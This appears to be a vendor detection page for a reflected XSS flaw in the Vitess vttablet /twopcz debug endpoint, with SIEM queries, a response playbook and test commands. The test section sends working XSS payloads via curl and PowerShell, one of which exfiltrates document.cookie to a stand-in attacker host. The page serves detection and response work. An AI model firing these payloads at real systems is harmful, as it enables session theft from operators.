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CVE-2026-104252 Sumo Logic CSE · Sumo

Detect Vitess vttablet /twopcz Reflected XSS (CVE-2026-104252) in Sumo Logic CSE

Detects exploitation attempts against the reflected cross-site scripting vulnerability in the Vitess vttablet administrative debug endpoint /twopcz (CVE-2026-104252). The /twopcz page, used to display and resolve in-flight two-phase commit (2PC) distributed transactions, reflects user-controlled request parameters (notably the 'dtid' distributed transaction ID and related 2PC identifiers) into the HTML response without proper output encoding (CWE-79/CWE-80/CWE-116). An attacker who can lure an authenticated vttablet operator to a crafted URL can execute arbitrary JavaScript in the operator's browser session, enabling theft of session material and unauthorized 2PC transaction manipulation. CVSS 9.8. Affected: vitess.io/vitess < 0.23.5 and >= 0.24.0, < 0.24.2. Detection focuses on HTTP requests to the /twopcz endpoint carrying XSS payload markers in query/body parameters.

MITRE ATT&CK

Tactic
Initial Access Execution

Sumo Detection Query

Sumo Logic CSE (Sumo)
sql
// df00tech DF00-ac55726380 · https://df00tech.com/detections/CVE-2026-104252 · licence: https://df00tech.com/detections/licence
_sourceCategory=*web* OR _sourceCategory=*proxy*
| where (_raw matches "*/twopcz*")
| parse regex "(?<method>\S+)\s+(?<uri>\S+)\s+HTTP" nodrop
| if (isEmpty(uri), _raw, uri) as uri
| toLowerCase(urldecode(uri)) as decoded
| where decoded matches /(<script|onerror=|onload=|onmouseover=|javascript:|<svg|<img|document\.cookie|<iframe|%3cscript)/
| count by src_ip, uri
| sort by _count
high severity medium confidence

Sumo Logic search over web/proxy source categories for /twopcz requests decoding to reflected-XSS payloads.

Data Sources

Web Server LogsProxy Logs

Required Tables

_sourceCategory=web_sourceCategory=proxy

False Positives & Tuning

  • Authorized scanner / pentest traffic
  • Legitimate special-character 2PC identifiers
  • DAST fuzzing in staging environments

Other platforms for CVE-2026-104252


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Reflected script-tag payload on /twopcz dtid parameter

    Expected signal: Web/proxy access log entry for /twopcz containing URL-encoded <script> payload in the dtid query parameter

  2. Test 2 Event-handler XSS payload via img onerror

    Expected signal: Access log entry for /twopcz with 'onerror=' and '<img' payload markers in the query string

  3. Test 3 SVG onload XSS payload (PowerShell)

    Expected signal: Proxy/web log entry for /twopcz containing '<svg' and 'onload=' payload markers


Response Playbook

Triage

  1. Extract the full /twopcz request URI and URL-decode it; confirm the payload reflects an active XSS vector (script tags, event handlers, javascript: URIs) rather than benign special characters in a dtid value.
  2. Identify the source IP and user-agent and determine whether it maps to a known operator, an authorized scanner, or an unknown/external origin; check whether the request reached an authenticated vttablet session.
  3. Determine the Vitess version of the targeted vttablet (build banner, deployment manifest, or vttablet --version) and confirm it falls in the affected ranges (< 0.23.5 or >= 0.24.0, < 0.24.2).
  4. Review whether the crafted URL was delivered to an operator (email, chat, ticket link) indicating a targeted social-engineering delivery of the reflected XSS.

Containment

  1. Restrict access to the vttablet /debug and /twopcz administrative endpoints to a management network / VPN and place them behind authenticated reverse-proxy ACLs; block external access immediately.
  2. Upgrade affected vttablet instances to Vitess v23.0.5 (0.23.5) or v24.0.2 (0.24.2) or later, which add output encoding on the 2PC debug pages.
  3. If immediate patching is not possible, disable the /twopcz debug handler or deploy a WAF rule blocking XSS payload markers on the /twopcz path.

Evidence Collection

  1. Preserve web/reverse-proxy access logs containing the full /twopcz request URIs, source IPs, user-agents, and timestamps.
  2. Capture the vttablet process version, configuration, and any session/cookie material potentially exposed to the reflected script, and snapshot relevant 2PC transaction state (dtids) around the event.

Escalation Criteria

  • !Escalate to incident response if the XSS payload executed within an authenticated operator session (evidence of document.cookie exfiltration, outbound beacon, or subsequent 2PC transaction resolution actions).
  • !Escalate if the targeted vttablet is confirmed internet-exposed and running an affected version, or if multiple operators received the crafted link indicating a coordinated campaign.

Investigation Guide

Forensic Artifacts

  • >Web/reverse-proxy access logs with the full /twopcz request URI and URL-decoded payload
  • >Operator browser history/cache showing the crafted /twopcz URL and any outbound requests to attacker-controlled hosts
  • >vttablet build/version metadata and 2PC transaction (dtid) state logs around the event

Tuning Guidance

Baseline legitimate operator sources and authorized scanner IPs for the /twopcz endpoint and exclude them to cut noise. If the deployment never exposes the vttablet debug surface, any /twopcz hit with payload markers is high-fidelity. Tighten the payload regex to require decoded angle brackets plus a script/event-handler token to reduce matches on dtids that merely contain reserved characters. Prefer URL-decoded evaluation since attackers commonly percent-encode payloads to bypass raw string matching.


Hunting Queries

Hunt for any historical /twopcz requests whose decoded URI contains XSS payload markers, grouped by source IP and user-agent to surface reconnaissance or repeated attempts.

Hunting — KQL
kql
// df00tech DF00-ac55726380 · https://df00tech.com/detections/CVE-2026-104252 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has "/twopcz" | extend d = tolower(url_decode(strcat(csUriStem, "?", csUriQuery))) | where d has_any ("<script","onerror=","onload=","javascript:","<svg","document.cookie") | summarize count(), make_set(csUriQuery) by cIP, csUserAgent
Hunting — SPL
spl
``` df00tech DF00-ac55726380 · https://df00tech.com/detections/CVE-2026-104252 · licence: https://df00tech.com/detections/licence ```
index=web uri_path="*/twopcz*" | eval d=lower(urldecode(coalesce(uri,url))) | where match(d,"(?i)(<script|onerror=|onload=|javascript:|<svg|document\.cookie)") | stats count values(d) by src_ip, http_user_agent

Atomic Red Team Tests

Test 1 Reflected script-tag payload on /twopcz dtid parameter
linux

Sends a GET request to the vttablet /twopcz endpoint with a script-tag XSS payload in the dtid parameter to validate detection of reflected XSS attempts.

Command

bash
curl -sk 'https://vttablet.lab.local:15000/twopcz?dtid=%3Cscript%3Ealert(document.cookie)%3C/script%3E' -o /dev/null

Cleanup

bash
echo 'No cleanup required; GET request leaves no persistent state'

Expected Telemetry

Web/proxy access log entry for /twopcz containing URL-encoded <script> payload in the dtid query parameter

Expected Detection

KQL/SPL/EQL rules fire on the URL-decoded <script> marker in the /twopcz URI

Test 2 Event-handler XSS payload via img onerror
linux

Sends an <img onerror=...> based XSS payload to /twopcz to exercise detection of event-handler injection vectors.

Command

bash
curl -sk "https://vttablet.lab.local:15000/twopcz?dtid=1-2-3%22%3E%3Cimg%20src=x%20onerror=fetch('//attacker.lab/'+document.cookie)%3E" -o /dev/null

Cleanup

bash
echo 'No cleanup required'

Expected Telemetry

Access log entry for /twopcz with 'onerror=' and '<img' payload markers in the query string

Expected Detection

Detection rules match on the 'onerror=' / '<img' reflected-XSS markers after URL decoding

Test 3 SVG onload XSS payload (PowerShell)
windows

Uses PowerShell on Windows to send an SVG onload XSS payload to the /twopcz endpoint, validating cross-platform detection coverage.

Command

powershell
Invoke-WebRequest -UseBasicParsing -Uri 'https://vttablet.lab.local:15000/twopcz?dtid=%3Csvg%20onload=alert(1)%3E' -SkipCertificateCheck | Out-Null

Cleanup

powershell
Write-Host 'No cleanup required'

Expected Telemetry

Proxy/web log entry for /twopcz containing '<svg' and 'onload=' payload markers

Expected Detection

Detection rules fire on the decoded '<svg'/'onload=' reflected-XSS markers in the /twopcz request

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